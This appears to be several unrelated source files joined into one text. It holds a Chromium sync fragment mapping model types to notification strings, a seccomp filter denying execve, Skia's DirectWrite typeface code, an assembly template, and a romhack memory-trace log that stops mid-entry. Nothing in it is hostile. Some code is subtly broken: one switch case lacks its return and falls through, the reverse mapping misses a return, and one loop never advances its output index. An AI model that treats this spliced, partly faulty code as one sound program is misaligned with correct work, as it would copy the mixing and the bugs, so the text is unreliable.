kBookmarkNotificationType[] = "BOOKMARK"; const char kPreferenceNotificationType[] = "PREFERENCE"; const char kPasswordNotificationType[] = "PASSWORD"; const char kAutofillNotificationType[] = "AUTOFILL"; const char kThemeNotificationType[] = "THEME"; const char kTypedUrlNotificationType[] = "TYPED_URL"; const char kExtensionNotificationType[] = "EXTENSION"; const char kExtensionSettingNotificationType[] = "EXTENSION_SETTING"; const char kNigoriNotificationType[] = "NIGORI"; const char kAppSettingNotificationType[] = "APP_SETTING"; const char kAppNotificationType[] = "APP"; const char kSearchEngineNotificationType[] = "SEARCH_ENGINE"; const char kSessionNotificationType[] = "SESSION"; const char kAutofillProfileNotificationType[] = "AUTOFILL_PROFILE"; const char kAppNotificationNotificationType[] = "APP_NOTIFICATION"; const char kHistoryDeleteDirectiveNotificationType[] = "HISTORY_DELETE_DIRECTIVE"; const char kDeviceInfoNotificationType[] = "DEVICE_INFO"; const char kExperimentsNotificationType[] = "EXPERIMENTS"; } // namespace bool RealModelTypeToNotificationType(ModelType model_type, std::string* notification_type) { switch (model_type) { case BOOKMARKS: *notification_type = kBookmarkNotificationType; return true; case PREFERENCES: *notification_type = kPreferenceNotificationType; return true; case PASSWORDS: *notification_type = kPasswordNotificationType; return true; case AUTOFILL: *notification_type = kAutofillNotificationType; return true; case THEMES: *notification_type = kThemeNotificationType; return true; case TYPED_URLS: *notification_type = kTypedUrlNotificationType; return true; case EXTENSIONS: *notification_type = kExtensionNotificationType; return true; case NIGORI: *notification_type = kNigoriNotificationType; return true; case APP_SETTINGS: *notification_type = kAppSettingNotificationType; return true; case APPS: *notification_type = kAppNotificationType; return true; case SEARCH_ENGINES: *notification_type = kSearchEngineNotificationType; return true; case SESSIONS: *notification_type = kSessionNotificationType; return true; case AUTOFILL_PROFILE: *notification_type = kAutofillProfileNotificationType; return true; case EXTENSION_SETTINGS: *notification_type = kExtensionSettingNotificationType; return true; case APP_NOTIFICATIONS: *notification_type = kAppNotificationNotificationType; return true; case HISTORY_DELETE_DIRECTIVES: *notification_type = kHistoryDeleteDirectiveNotificationType; case DEVICE_INFO: *notification_type = kDeviceInfoNotificationType; return true; case EXPERIMENTS: *notification_type = kExperimentsNotificationType; return true; default: break; } notification_type->clear(); return false; } bool NotificationTypeToRealModelType(const std::string& notification_type, ModelType* model_type) { if (notification_type == kBookmarkNotificationType) { *model_type = BOOKMARKS; return true; } else if (notification_type == kPreferenceNotificationType) { *model_type = PREFERENCES; return true; } else if (notification_type == kPasswordNotificationType) { *model_type = PASSWORDS; return true; } else if (notification_type == kAutofillNotificationType) { *model_type = AUTOFILL; return true; } else if (notification_type == kThemeNotificationType) { *model_type = THEMES; return true; } else if (notification_type == kTypedUrlNotificationType) { *model_type = TYPED_URLS; return true; } else if (notification_type == kExtensionNotificationType) { *model_type = EXTENSIONS; return true; } else if (notification_type == kNigoriNotificationType) { *model_type = NIGORI; return true; } else if (notification_type == kAppNotificationType) { *model_type = APPS; return true; } else if (notification_type == kSearchEngineNotificationType) { *model_type = SEARCH_ENGINES; return true; } else if (notification_type == kSessionNotificationType) { *model_type = SESSIONS; return true; } else if (notification_type == kAutofillProfileNotificationType) { *model_type = AUTOFILL_PROFILE; return true; } else if (notification_type == kAppSettingNotificationType) { *model_type = APP_SETTINGS; return true; } else if (notification_type == kExtensionSettingNotificationType) { *model_type = EXTENSION_SETTINGS; return true; } else if (notification_type == kAppNotificationNotificationType) { *model_type = APP_NOTIFICATIONS; return true; } else if (notification_type == kHistoryDeleteDirectiveNotificationType) { *model_type = HISTORY_DELETE_DIRECTIVES; } else if (notification_type == kDeviceInfoNotificationType) { *model_type = DEVICE_INFO;; return true; } *model_type = UNSPECIFIED; return false; } bool IsRealDataType(ModelType model_type) { return model_type >= FIRST_REAL_MODEL_TYPE && model_type < MODEL_TYPE_COUNT; } } // namespace syncer
; forbid execve syscall ld [arch] jeq AUDIT_ARCH_X86_64, next, die ld [data.nr] jge __X32_SYSCALL_BIT, die, next jeq SYS_execve, err, allow err: ret ERRNO(1) die: ret KILL allow: ret ALLOW
/* * Copyright 2014 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "SkDWriteNTDDI_VERSION.h" #include "SkTypes.h" #if defined(SK_BUILD_FOR_WIN) // SkTypes will include Windows.h, which will pull in all of the GDI defines. // GDI #defines GetGlyphIndices to GetGlyphIndicesA or GetGlyphIndicesW, but // IDWriteFontFace has a method called GetGlyphIndices. Since this file does // not use GDI, undefing GetGlyphIndices makes things less confusing. #undef GetGlyphIndices #include "SkDWrite.h" #include "SkDWriteFontFileStream.h" #include "SkFontDescriptor.h" #include "SkFontStream.h" #include "SkOTTable_OS_2.h" #include "SkOTTable_fvar.h" #include "SkOTTable_head.h" #include "SkOTTable_hhea.h" #include "SkOTTable_post.h" #include "SkOTUtils.h" #include "SkScalerContext.h" #include "SkScalerContext_win_dw.h" #include "SkTo.h" #include "SkTypeface_win_dw.h" #include "SkUtils.h" void DWriteFontTypeface::onGetFamilyName(SkString* familyName) const { SkTScopedComPtr<IDWriteLocalizedStrings> familyNames; HRV(fDWriteFontFamily->GetFamilyNames(&familyNames)); sk_get_locale_string(familyNames.get(), nullptr/*fMgr->fLocaleName.get()*/, familyName); } void DWriteFontTypeface::onGetFontDescriptor(SkFontDescriptor* desc, bool* isLocalStream) const { // Get the family name. SkTScopedComPtr<IDWriteLocalizedStrings> familyNames; HRV(fDWriteFontFamily->GetFamilyNames(&familyNames)); SkString utf8FamilyName; sk_get_locale_string(familyNames.get(), nullptr/*fMgr->fLocaleName.get()*/, &utf8FamilyName); desc->setFamilyName(utf8FamilyName.c_str()); desc->setStyle(this->fontStyle()); *isLocalStream = SkToBool(fDWriteFontFileLoader.get()); } void DWriteFontTypeface::onCharsToGlyphs(const SkUnichar uni[], int count, SkGlyphID glyphs[]) const { fDWriteFontFace->GetGlyphIndices((const UINT32*)uni, count, glyphs); } int DWriteFontTypeface::onCountGlyphs() const { return fDWriteFontFace->GetGlyphCount(); } void DWriteFontTypeface::getPostScriptGlyphNames(SkString*) const {} int DWriteFontTypeface::onGetUPEM() const { DWRITE_FONT_METRICS metrics; fDWriteFontFace->GetMetrics(&metrics); return metrics.designUnitsPerEm; } class LocalizedStrings_IDWriteLocalizedStrings : public SkTypeface::LocalizedStrings { public: /** Takes ownership of the IDWriteLocalizedStrings. */ explicit LocalizedStrings_IDWriteLocalizedStrings(IDWriteLocalizedStrings* strings) : fIndex(0), fStrings(strings) { } bool next(SkTypeface::LocalizedString* localizedString) override { if (fIndex >= fStrings->GetCount()) { return false; } // String UINT32 stringLen; HRBM(fStrings->GetStringLength(fIndex, &stringLen), "Could not get string length."); SkSMallocWCHAR wString(stringLen+1); HRBM(fStrings->GetString(fIndex, wString.get(), stringLen+1), "Could not get string."); HRB(sk_wchar_to_skstring(wString.get(), stringLen, &localizedString->fString)); // Locale UINT32 localeLen; HRBM(fStrings->GetLocaleNameLength(fIndex, &localeLen), "Could not get locale length."); SkSMallocWCHAR wLocale(localeLen+1); HRBM(fStrings->GetLocaleName(fIndex, wLocale.get(), localeLen+1), "Could not get locale."); HRB(sk_wchar_to_skstring(wLocale.get(), localeLen, &localizedString->fLanguage)); ++fIndex; return true; } private: UINT32 fIndex; SkTScopedComPtr<IDWriteLocalizedStrings> fStrings; }; SkTypeface::LocalizedStrings* DWriteFontTypeface::onCreateFamilyNameIterator() const { sk_sp<SkTypeface::LocalizedStrings> nameIter = SkOTUtils::LocalizedStrings_NameTable::MakeForFamilyNames(*this); if (!nameIter) { SkTScopedComPtr<IDWriteLocalizedStrings> familyNames; HRNM(fDWriteFontFamily->GetFamilyNames(&familyNames), "Could not obtain family names."); nameIter = sk_make_sp<LocalizedStrings_IDWriteLocalizedStrings>(familyNames.release()); } return nameIter.release(); } int DWriteFontTypeface::onGetVariationDesignPosition( SkFontArguments::VariationPosition::Coordinate coordinates[], int coordinateCount) const { #if defined(NTDDI_WIN10_RS3) && NTDDI_VERSION >= NTDDI_WIN10_RS3 SkTScopedComPtr<IDWriteFontFace5> fontFace5; if (FAILED(fDWriteFontFace->QueryInterface(&fontFace5))) { return -1; } // Return 0 if the font is not variable font. if (!fontFace5->HasVariations()) { return 0; } UINT32 fontAxisCount = fontFace5->GetFontAxisValueCount(); SkTScopedComPtr<IDWriteFontResource> fontResource; HR_GENERAL(fontFace5->GetFontResource(&fontResource), nullptr, -1); int variableAxisCount = 0; for (UINT32 i = 0; i < fontAxisCount; ++i) { if (fontResource->GetFontAxisAttributes(i) & DWRITE_FONT_AXIS_ATTRIBUTES_VARIABLE) { variableAxisCount++; } } if (!coordinates || coordinateCount < variableAxisCount) { return variableAxisCount; } SkAutoSTMalloc<8, DWRITE_FONT_AXIS_VALUE> fontAxisValue(fontAxisCount); HR_GENERAL(fontFace5->GetFontAxisValues(fontAxisValue.get(), fontAxisCount), nullptr, -1); UINT32 coordIndex = 0; for (UINT32 axisIndex = 0; axisIndex < fontAxisCount; ++axisIndex) { if (fontResource->GetFontAxisAttributes(axisIndex) & DWRITE_FONT_AXIS_ATTRIBUTES_VARIABLE) { coordinates[coordIndex].axis = SkEndian_SwapBE32(fontAxisValue[axisIndex].axisTag); coordinates[coordIndex].value = fontAxisValue[axisIndex].value; } } return variableAxisCount; #endif return -1; } int DWriteFontTypeface::onGetVariationDesignParameters( SkFontParameters::Variation::Axis parameters[], int parameterCount) const { #if defined(NTDDI_WIN10_RS3) && NTDDI_VERSION >= NTDDI_WIN10_RS3 SkTScopedComPtr<IDWriteFontFace5> fontFace5; if (FAILED(fDWriteFontFace->QueryInterface(&fontFace5))) { return -1; } // Return 0 if the font is not variable font. if (!fontFace5->HasVariations()) { return 0; } UINT32 fontAxisCount = fontFace5->GetFontAxisValueCount(); SkTScopedComPtr<IDWriteFontResource> fontResource; HR_GENERAL(fontFace5->GetFontResource(&fontResource), nullptr, -1); int variableAxisCount = 0; for (UINT32 i = 0; i < fontAxisCount; ++i) { if (fontResource->GetFontAxisAttributes(i) & DWRITE_FONT_AXIS_ATTRIBUTES_VARIABLE) { variableAxisCount++; } } if (!parameters || parameterCount < variableAxisCount) { return variableAxisCount; } SkAutoSTMalloc<8, DWRITE_FONT_AXIS_RANGE> fontAxisRange(fontAxisCount); HR_GENERAL(fontResource->GetFontAxisRanges(fontAxisRange.get(), fontAxisCount), nullptr, -1); SkAutoSTMalloc<8, DWRITE_FONT_AXIS_VALUE> fontAxisDefaultValue(fontAxisCount); HR_GENERAL(fontResource->GetDefaultFontAxisValues(fontAxisDefaultValue.get(), fontAxisCount), nullptr, -1); UINT32 coordIndex = 0; for (UINT32 axisIndex = 0; axisIndex < fontAxisCount; ++axisIndex) { if (fontResource->GetFontAxisAttributes(axisIndex) & DWRITE_FONT_AXIS_ATTRIBUTES_VARIABLE) { parameters[coordIndex].tag = SkEndian_SwapBE32(fontAxisDefaultValue[axisIndex].axisTag); parameters[coordIndex].min = fontAxisRange[axisIndex].minValue; parameters[coordIndex].def = fontAxisDefaultValue[axisIndex].value; parameters[coordIndex].max = fontAxisRange[axisIndex].maxValue; parameters[coordIndex].setHidden(fontResource->GetFontAxisAttributes(axisIndex) & DWRITE_FONT_AXIS_ATTRIBUTES_HIDDEN); } } return variableAxisCount; #endif return -1; } int DWriteFontTypeface::onGetTableTags(SkFontTableTag tags[]) const { DWRITE_FONT_FACE_TYPE type = fDWriteFontFace->GetType(); if (type != DWRITE_FONT_FACE_TYPE_CFF && type != DWRITE_FONT_FACE_TYPE_TRUETYPE && type != DWRITE_FONT_FACE_TYPE_TRUETYPE_COLLECTION) { return 0; } int ttcIndex; std::unique_ptr<SkStreamAsset> stream = this->openStream(&ttcIndex); return stream.get() ? SkFontStream::GetTableTags(stream.get(), ttcIndex, tags) : 0; } size_t DWriteFontTypeface::onGetTableData(SkFontTableTag tag, size_t offset, size_t length, void* data) const { AutoDWriteTable table(fDWriteFontFace.get(), SkEndian_SwapBE32(tag)); if (!table.fExists) { return 0; } if (offset > table.fSize) { return 0; } size_t size = SkTMin(length, table.fSize - offset); if (data) { memcpy(data, table.fData + offset, size); } return size; } sk_sp<SkTypeface> DWriteFontTypeface::onMakeClone(const SkFontArguments& args) const { // Skip if the current face index does not match the ttcIndex if (fDWriteFontFace->GetIndex() != SkTo<UINT32>(args.getCollectionIndex())) { return sk_ref_sp(this); } #if defined(NTDDI_WIN10_RS3) && NTDDI_VERSION >= NTDDI_WIN10_RS3 SkTScopedComPtr<IDWriteFontFace5> fontFace5; if (SUCCEEDED(fDWriteFontFace->QueryInterface(&fontFace5)) && fontFace5->HasVariations()) { UINT32 fontAxisCount = fontFace5->GetFontAxisValueCount(); UINT32 argsCoordCount = args.getVariationDesignPosition().coordinateCount; SkAutoSTMalloc<8, DWRITE_FONT_AXIS_VALUE> fontAxisValue(fontAxisCount); HRN(fontFace5->GetFontAxisValues(fontAxisValue.get(), fontAxisCount)); for (UINT32 fontIndex = 0; fontIndex < fontAxisCount; ++fontIndex) { for (UINT32 argsIndex = 0; argsIndex < argsCoordCount; ++argsIndex) { if (SkEndian_SwapBE32(fontAxisValue[fontIndex].axisTag) == args.getVariationDesignPosition().coordinates[argsIndex].axis) { fontAxisValue[fontIndex].value = args.getVariationDesignPosition().coordinates[argsIndex].value; } } } SkTScopedComPtr<IDWriteFontResource> fontResource; HRN(fontFace5->GetFontResource(&fontResource)); SkTScopedComPtr<IDWriteFontFace5> newFontFace5; HRN(fontResource->CreateFontFace(fDWriteFont->GetSimulations(), fontAxisValue.get(), fontAxisCount, &newFontFace5)); SkTScopedComPtr<IDWriteFontFace> newFontFace; HRN(newFontFace5->QueryInterface(&newFontFace)); return DWriteFontTypeface::Make(fFactory.get(), newFontFace.get(), fDWriteFont.get(), fDWriteFontFamily.get(), fDWriteFontFileLoader.get(), fDWriteFontCollectionLoader.get()); } #endif return sk_ref_sp(this); } std::unique_ptr<SkStreamAsset> DWriteFontTypeface::onOpenStream(int* ttcIndex) const { *ttcIndex = fDWriteFontFace->GetIndex(); UINT32 numFiles; HRNM(fDWriteFontFace->GetFiles(&numFiles, nullptr), "Could not get number of font files."); if (numFiles != 1) { return nullptr; } SkTScopedComPtr<IDWriteFontFile> fontFile; HRNM(fDWriteFontFace->GetFiles(&numFiles, &fontFile), "Could not get font files."); const void* fontFileKey; UINT32 fontFileKeySize; HRNM(fontFile->GetReferenceKey(&fontFileKey, &fontFileKeySize), "Could not get font file reference key."); SkTScopedComPtr<IDWriteFontFileLoader> fontFileLoader; HRNM(fontFile->GetLoader(&fontFileLoader), "Could not get font file loader."); SkTScopedComPtr<IDWriteFontFileStream> fontFileStream; HRNM(fontFileLoader->CreateStreamFromKey(fontFileKey, fontFileKeySize, &fontFileStream), "Could not create font file stream."); return std::unique_ptr<SkStreamAsset>(new SkDWriteFontFileStream(fontFileStream.get())); } SkScalerContext* DWriteFontTypeface::onCreateScalerContext(const SkScalerContextEffects& effects, const SkDescriptor* desc) const { return new SkScalerContext_DW(sk_ref_sp(const_cast<DWriteFontTypeface*>(this)), effects, desc); } void DWriteFontTypeface::onFilterRec(SkScalerContextRec* rec) const { if (rec->fFlags & SkScalerContext::kLCD_Vertical_Flag) { rec->fMaskFormat = SkMask::kA8_Format; rec->fFlags |= SkScalerContext::kGenA8FromLCD_Flag; } unsigned flagsWeDontSupport = SkScalerContext::kForceAutohinting_Flag | SkScalerContext::kEmbolden_Flag | SkScalerContext::kLCD_Vertical_Flag; rec->fFlags &= ~flagsWeDontSupport; SkFontHinting h = rec->getHinting(); // DirectWrite2 allows for hinting to be turned off. Force everything else to normal. if (h != kNo_SkFontHinting || !fFactory2 || !fDWriteFontFace2) { h = kNormal_SkFontHinting; } rec->setHinting(h); #if defined(SK_FONT_HOST_USE_SYSTEM_SETTINGS) IDWriteFactory* factory = sk_get_dwrite_factory(); if (factory != nullptr) { SkTScopedComPtr<IDWriteRenderingParams> defaultRenderingParams; if (SUCCEEDED(factory->CreateRenderingParams(&defaultRenderingParams))) { float gamma = defaultRenderingParams->GetGamma(); rec->setDeviceGamma(gamma); rec->setPaintGamma(gamma); rec->setContrast(defaultRenderingParams->GetEnhancedContrast()); } } #endif } /////////////////////////////////////////////////////////////////////////////// //PDF Support void DWriteFontTypeface::getGlyphToUnicodeMap(SkUnichar* glyphToUnicode) const { unsigned glyphCount = fDWriteFontFace->GetGlyphCount(); sk_bzero(glyphToUnicode, sizeof(SkUnichar) * glyphCount); IDWriteFontFace* fontFace = fDWriteFontFace.get(); int maxGlyph = -1; unsigned remainingGlyphCount = glyphCount; for (UINT32 c = 0; c < 0x10FFFF && remainingGlyphCount != 0; ++c) { UINT16 glyph = 0; HRVM(fontFace->GetGlyphIndices(&c, 1, &glyph), "Failed to get glyph index."); // Intermittent DW bug on Windows 10. See crbug.com/470146. if (glyph >= glyphCount) { return; } if (0 < glyph && glyphToUnicode[glyph] == 0) { maxGlyph = SkTMax(static_cast<int>(glyph), maxGlyph); glyphToUnicode[glyph] = c; // Always use lowest-index unichar. --remainingGlyphCount; } } } std::unique_ptr<SkAdvancedTypefaceMetrics> DWriteFontTypeface::onGetAdvancedMetrics() const { std::unique_ptr<SkAdvancedTypefaceMetrics> info(nullptr); DWRITE_FONT_METRICS dwfm; fDWriteFontFace->GetMetrics(&dwfm); info.reset(new SkAdvancedTypefaceMetrics); info->fAscent = SkToS16(dwfm.ascent); info->fDescent = SkToS16(dwfm.descent); info->fCapHeight = SkToS16(dwfm.capHeight); { SkTScopedComPtr<IDWriteLocalizedStrings> postScriptNames; BOOL exists = FALSE; if (FAILED(fDWriteFont->GetInformationalStrings( DWRITE_INFORMATIONAL_STRING_POSTSCRIPT_NAME, &postScriptNames, &exists)) || !exists || FAILED(sk_get_locale_string(postScriptNames.get(), nullptr, &info->fPostScriptName))) { SkDEBUGF("Unable to get postscript name for typeface %p\n", this); } } // SkAdvancedTypefaceMetrics::fFontName must actually be a family name. SkTScopedComPtr<IDWriteLocalizedStrings> familyNames; if (FAILED(fDWriteFontFamily->GetFamilyNames(&familyNames)) || FAILED(sk_get_locale_string(familyNames.get(), nullptr, &info->fFontName))) { SkDEBUGF("Unable to get family name for typeface 0x%p\n", this); } if (info->fPostScriptName.isEmpty()) { info->fPostScriptName = info->fFontName; } DWRITE_FONT_FACE_TYPE fontType = fDWriteFontFace->GetType(); if (fontType != DWRITE_FONT_FACE_TYPE_TRUETYPE && fontType != DWRITE_FONT_FACE_TYPE_TRUETYPE_COLLECTION) { return info; } // Simulated fonts aren't really TrueType fonts. if (fDWriteFontFace->GetSimulations() == DWRITE_FONT_SIMULATIONS_NONE) { info->fType = SkAdvancedTypefaceMetrics::kTrueType_Font; } AutoTDWriteTable<SkOTTableHead> headTable(fDWriteFontFace.get()); AutoTDWriteTable<SkOTTablePostScript> postTable(fDWriteFontFace.get()); AutoTDWriteTable<SkOTTableHorizontalHeader> hheaTable(fDWriteFontFace.get()); AutoTDWriteTable<SkOTTableOS2> os2Table(fDWriteFontFace.get()); if (!headTable.fExists || !postTable.fExists || !hheaTable.fExists || !os2Table.fExists) { return info; } SkOTUtils::SetAdvancedTypefaceFlags(os2Table->version.v4.fsType, info.get()); // There are versions of DirectWrite which support named instances for system variation fonts, // but no means to indicate that such a typeface is a variation. AutoTDWriteTable<SkOTTableFontVariations> fvarTable(fDWriteFontFace.get()); if (fvarTable.fExists) { info->fFlags |= SkAdvancedTypefaceMetrics::kMultiMaster_FontFlag; } //There exist CJK fonts which set the IsFixedPitch and Monospace bits, //but have full width, latin half-width, and half-width kana. bool fixedWidth = (postTable->isFixedPitch && (1 == SkEndian_SwapBE16(hheaTable->numberOfHMetrics))); //Monospace if (fixedWidth) { info->fStyle |= SkAdvancedTypefaceMetrics::kFixedPitch_Style; } //Italic if (os2Table->version.v0.fsSelection.field.Italic) { info->fStyle |= SkAdvancedTypefaceMetrics::kItalic_Style; } //Serif using SerifStyle = SkPanose::Data::TextAndDisplay::SerifStyle; SerifStyle serifStyle = os2Table->version.v0.panose.data.textAndDisplay.bSerifStyle; if (SkPanose::FamilyType::TextAndDisplay == os2Table->version.v0.panose.bFamilyType) { if (SerifStyle::Cove == serifStyle || SerifStyle::ObtuseCove == serifStyle || SerifStyle::SquareCove == serifStyle || SerifStyle::ObtuseSquareCove == serifStyle || SerifStyle::Square == serifStyle || SerifStyle::Thin == serifStyle || SerifStyle::Bone == serifStyle || SerifStyle::Exaggerated == serifStyle || SerifStyle::Triangle == serifStyle) { info->fStyle |= SkAdvancedTypefaceMetrics::kSerif_Style; } //Script } else if (SkPanose::FamilyType::Script == os2Table->version.v0.panose.bFamilyType) { info->fStyle |= SkAdvancedTypefaceMetrics::kScript_Style; } info->fItalicAngle = SkEndian_SwapBE32(postTable->italicAngle) >> 16; info->fBBox = SkIRect::MakeLTRB((int32_t)SkEndian_SwapBE16((uint16_t)headTable->xMin), (int32_t)SkEndian_SwapBE16((uint16_t)headTable->yMax), (int32_t)SkEndian_SwapBE16((uint16_t)headTable->xMax), (int32_t)SkEndian_SwapBE16((uint16_t)headTable->yMin)); return info; } #endif//defined(SK_BUILD_FOR_WIN)
ld a, [#1] cp #2 jp c, #3
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 004D3A move.l D0, (A4)+ 004D3C move.l D0, (A4)+ 034014 clr.b ($a6,A6) [enemy+A0] 034018 clr.b ($a7,A6) [enemy+A6] 034076 subq.b #1, ($a6,A6) 03407A bcc $3408a [enemy+A6] 03407C clr.b ($a6,A6) 034080 clr.b ($a7,A6) [enemy+A6] 0354A4 move.b #$32, ($a6,A6) [enemy+22] 0354AA move.b #$1, ($a7,A6) [enemy+A6] 03596E move.w A1, ($a6,A0) [enemy+A2] 035972 move.b #$1, ($0,A2) [enemy+A6] 035AD8 movea.w ($a6,A6), A1 035ADC tst.b ($b2,A1) [enemy+A6] 038E8A move.l A6, ($a4,A0) 038E8E move.l A0, ($a4,A6) [enemy+A6] 038E92 jsr $483c.l [enemy+A6] 038F8A movea.l ($a4,A6), A3 038F8E move.b #$1, ($a2,A3) [enemy+A6] 03C184 clr.w ($a6,A6) [enemy+ 7] 03C188 clr.b ($5a,A6) [enemy+A6] 03C1BE add.w ($a6,A6), D0 03C1C2 move.b ($22,PC,D0.w), D1 [enemy+A6] 03C1CA addq.w #1, ($a6,A6) 03C1CE lea ($88,PC) ; ($3c258), A0 [enemy+A6] 03C294 add.w ($a6,A6), D0 03C298 lea (-$b4,PC) ; ($3c1e6), A0 [enemy+A6] 03C2E8 add.w ($a6,A6), D0 03C2EC lea (-$108,PC) ; ($3c1e6), A0 [enemy+A6] 03DEF2 move.w D0, ($a6,A6) 03DEF6 move.b D0, ($7a,A6) 04037C move.w #$14, ($a6,A6) [enemy+72] 040382 move.b D0, ($be,A6) [enemy+A6] 0409CA subq.w #1, ($a6,A6) 0409CE bne $409d6 [enemy+A6] 0409D6 move.w ($a6,A6), D0 0409DA andi.w #$3, D0 [enemy+A6] 040A9A subq.w #1, ($a6,A6) 040A9E bne $40aa6 [enemy+A6] 040AA6 move.w ($a6,A6), D0 040AAA andi.w #$3, D0 [enemy+A6] 040B2C subq.w #1, ($a6,A6) 040B30 bne $40b38 [enemy+A6] 040B38 move.w ($a6,A6), D0 040B3C andi.w #$3, D0 [enemy+A6] 040C18 subq.w #1, ($a6,A6) 040C1C beq $41be8 [enemy+A6] 040C26 subq.w #1, ($a6,A6) 040C2A beq $40dfa [enemy+A6] 040C34 subq.w #1, ($a6,A6) 040C38 bne $40c40 [enemy+A6] 040C46 subq.w #1, ($a6,A6) 040C4A beq $41b2e [enemy+A6] 040D56 subq.w #1, ($a6,A6) 040D5A bne $40d6e [enemy+A6] 040E0A move.w #$1e, ($a6,A6) [enemy+A0] 040E10 move.b #$e, ($6,A6) [enemy+A6] 040E6C move.w #$3c, ($a6,A6) [enemy+ 6] 040E72 moveq #$50, D0 [enemy+A6] 040EBC subq.w #1, ($a6,A6) 040EC0 bne $40ec8 [enemy+A6] 040EC8 cmpi.w #$3c, ($a6,A6) 040ECE bgt $40ed8 [enemy+A6] 0410F2 subq.w #1, ($a6,A6) 0410F6 beq $414b0 [enemy+A6] 041100 subq.w #1, ($a6,A6) 041104 bne $4110c [enemy+A6] 041138 subq.w #1, ($a6,A6) 04113C cmpi.w #$24, ($a6,A6) [enemy+A6] 041142 bgt $4117a [enemy+A6] 04116E tst.w ($a6,A6) 041172 bne $4117a [enemy+A6] 041220 move.w (A0,D0.w), ($a6,A6) 041226 move.w ($5ee,A5), D1 [enemy+A6] 041236 add.w D0, ($a6,A6) 04123A beq $41242 [enemy+A6] 041290 move.w #$3c, ($a6,A6) [enemy+A3] 041296 move.b #$16, ($6,A6) [enemy+A6] 0412FC move.w #$3c, ($a6,A6) 041302 move.b #$8, ($6,A6) [enemy+A6] 041360 move.w #$78, ($a6,A6) 041366 move.b #$18, ($6,A6) [enemy+A6] 0413FE move.w #$78, ($a6,A6) 041404 move.b #$1a, ($6,A6) [enemy+A6] 041476 move.w #$1e, ($a6,A6) [enemy+A0] 04147C move.b #$26, ($6,A6) [enemy+A6] 0414B6 move.w #$3c, ($a6,A6) [enemy+A0] 0414BC move.b #$22, ($6,A6) [enemy+A6] 0415EE move.w #$3c, ($a6,A6) [enemy+ 6] 0415F4 lea ($38,PC) ; ($4162e), A1 [enemy+A6] 041652 move.w #$3c, ($a6,A6) [enemy+ 6] 041658 moveq #$50, D0 [enemy+A6] 0416A8 move.w #$1e, ($a6,A6) [enemy+ 6] 0416AE move.b #$1, ($be,A6) [enemy+A6] 0416CC move.w #$1e, ($a6,A6) [enemy+ 6] 0416D2 move.b #$2, ($be,A6) [enemy+A6] 0416F0 move.w #$1e, ($a6,A6) [enemy+ 6] 0416F6 move.b #$2, ($be,A6) [enemy+A6] 041714 move.w #$1e, ($a6,A6) [enemy+ 6] 04171A moveq #$c, D0 [enemy+A6] 0417C2 move.w D3, ($a6,A6) 0417C6 move.b #$1, ($a0,A6) [enemy+A6] 041808 move.w #$4b0, ($a6,A6) [enemy+A0] 04180E move.b #$28, ($6,A6) [enemy+A6] 04182A move.w #$1e0, ($a6,A6) [enemy+A0] 041830 move.b #$2a, ($6,A6) [enemy+A6] 041850 move.w #$3c, ($a6,A6) [enemy+A0] 041856 move.b #$2e, ($6,A6) [enemy+A6] 04195A move.w #$48, ($a6,A6) [enemy+ 6] 041960 move.b #$1e, ($a3,A6) [enemy+A6] 0419B6 move.w #$48, ($a6,A6) [enemy+ 6] 0419BC move.b #$1e, ($a3,A6) [enemy+A6] 041AA6 move.w #$64, ($a6,A6) [enemy+ 6] 041AAC move.b #$1e, ($a3,A6) [enemy+A6] 041DB6 move.w D0, ($a6,A1) [enemy+2D] 041DBA move.b ($24,A6), ($24,A1) [enemy+A6] 041E10 move.w D0, ($a6,A1) 041E14 moveq #$0, D1 [enemy+A6] 041F86 move.l (A0)+, ($a4,A6) [enemy+A0, enemy+A2] 041F8A move.l (A0)+, ($a8,A6) [enemy+A4, enemy+A6] 041FDC move.l ($a4,A6), D0 [enemy+ 8, enemy+ A] 041FE0 add.l D0, ($c,A6) [enemy+A4, enemy+A6] 0442A0 clr.w (A0)+ [enemy+A4] 0442A2 clr.b ($a0,A6) [enemy+A6] 0442D6 movea.w (A0,D0.w), A0 0442DA move.w A0, ($76,A6) [enemy+A2, enemy+A4, enemy+A6] 04435E movea.w (A0,D0.w), A0 044362 move.w A0, D1 [enemy+A6] 044456 move.w A0, (A1)+ 044458 subq.w #1, D1 [enemy+A4, enemy+A6] 045E36 clr.b ($a6,A6) [enemy+A9] 045E3A moveq #$0, D1 [enemy+A6] 045EEE move.b #$1, ($a6,A6) 045EF4 moveq #$1, D0 [enemy+A6] 0460D8 move.b #$1, ($a6,A6) [enemy+A5] 0460DE tst.b ($a6,A6) [enemy+A6] 0460E2 beq $460bc [enemy+A6] 0461B2 move.b #$1, ($a6,A6) [enemy+ 7] 0461B8 moveq #$1, D0 [enemy+A6] 04626C move.b #$1, ($a6,A6) [enemy+ 7, enemy+7] 046272 moveq #$1, D0 [enemy+A6] 0493F8 move.b ($a4,A6), ($a6,A6) [enemy+A5] 0493FE rts [enemy+A6] 049412 move.b ($a6,A6), D0 [enemy+A5] 049416 addq.b #1, D0 [enemy+A6] 04941C move.b D0, ($a6,A6) 049420 lea ($3a,PC) ; ($4945c), A0 [enemy+A6] 04F45C move.b ($a4,A6), ($a6,A6) [enemy+A5] 04F462 moveq #$0, D0 [enemy+A6] 04F47A move.b ($a6,A6), D0 [enemy+A5] 04F47E addq.b #1, D0 [enemy+A6] 04F484 move.b D0, ($a6,A6) 04F488 lea ($52,PC) ; ($4f4dc), A0 [enemy+A6] 04FDD0 move.b D0, ($a6,A6) [base+7B4] 04FDD4 move.b D0, ($af,A6) 050798 move.b ($a6,A6), D0 05079C add.w D0, D0 050ADE tst.b ($a6,A6) 050AE2 bne $50b00 053906 move.b #$8, ($a6,A6) [enemy+A5] 05390C move.b ($a4,A6), ($a7,A6) [enemy+A6] 053914 subq.b #1, ($a6,A6) 053918 bcc $53954 [enemy+A6] 053920 move.b ($34,PC,D0.w), ($a6,A6) [enemy+A5] 053926 move.b ($a7,A6), D0 [enemy+A6] 0565AA move.w #$10, ($a6,A6) [enemy+A2] 0565B0 move.w #$0, ($c,A6) [enemy+A6] 056968 move.w #$10, ($a6,A6) [enemy+A2] 05696E jsr $12cb4.l [enemy+A6] 056D36 move.l #$0, ($a6,A6) [enemy+AA, enemy+AC] 056D3E moveq #$1, D0 056D9E move.l #$0, ($a6,A6) 056DA6 moveq #$0, D0 056E02 move.l #$100, ($a6,A6) [enemy+AA, enemy+AC] 056E0A move.w #$0, ($a2,A6) [enemy+A6, 